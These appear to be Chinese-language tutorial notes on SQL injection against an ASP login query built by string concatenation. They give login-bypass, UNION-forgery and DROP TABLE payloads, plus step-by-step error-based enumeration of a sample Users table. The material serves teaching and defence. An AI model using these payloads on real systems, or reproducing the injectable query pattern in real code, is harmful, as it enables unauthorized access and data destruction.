var sql = "SELECT * FROM Users WHERE UserName = '" + Request.Form("UserName") + "' AND PassWord = '" + Request.Form("PassWord") + "'";
rso.Open(sql, cn);
| 目的 | UserName 輸入 | PassWord | 產生 SQL 片段 |
|---|---|---|---|
| 刪除表 | '; DROP TABLE Users-- | 任意 | `DROP TABLE Users` 後註釋掉尾部 |
| 繞過登入 (已知用戶名) | admin'-- | 任意 | `WHERE UserName = 'admin'--'` 密碼檢查被註釋 |
| 繞過登入 (任意用戶) | ' OR 1=1-- | 任意 | `WHERE UserName = '' OR 1=1--'` 恆真 |
| 偽造用戶登入 | ' UNION SELECT 1, 'hacker', 'pass', 1-- | 任意 | 聯合查詢返回攻擊者構造的列 |
**關鍵字元**:`'` 閉合字串、`;` 結束陳述式/分隔批次、`--` 註釋剩餘 SQL。
ASP/ASP.NET 預設**將資料庫錯誤直接輸出至 HTTP 回應** (除非關閉 `customErrors` / `debug=false`)。攻擊者藉此「看見」資料庫內部結構與資料。
假設表定義:
CREATE TABLE Users (ID INT, UserName VARCHAR(255), PassWord VARCHAR(255), Privs INT);
INSERT INTO Users VALUES (0, 'admin', 'r00tr0x!', 0xFFFF), (0, 'guest', 'guest', 0), (0, 'chris', 'passWord', 0xFF), (0, 'fred', 'sesame', 0xFF);
UserName: ' HAVING 1=1--
-- 錯誤: Column 'Users.ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
-- 解讀: 表名 Users,第一欄 ID
' GROUP BY Users.ID HAVING 1=1-- -- 錯誤洩露 UserName
' GROUP BY Users.ID, Users.UserName HAVING 1=1-- -- 錯誤洩露 PassWord
' GROUP BY Users.ID, Users.UserName, Users.PassWord HAVING 1=1-- -- 錯誤洩露 Privs
' GROUP BY Users.ID, Users.UserName, Users.PassWord, Users.Privs HAVING 1=1-- -- 無錯誤,枚舉完畢
若不知 `Privs` 意義 (權限位元遮罩),插入 `1` 可能僅得低權限,目標 `0xFFFF` (全權限)。
若生產環境關閉詳細錯誤 (`customErrors="RemoteOnly"` / `debug="false"`),上述枚舉**完全失效**,攻擊者轉入**盲注** (Boolean-based / Time-based),難度指數級上升。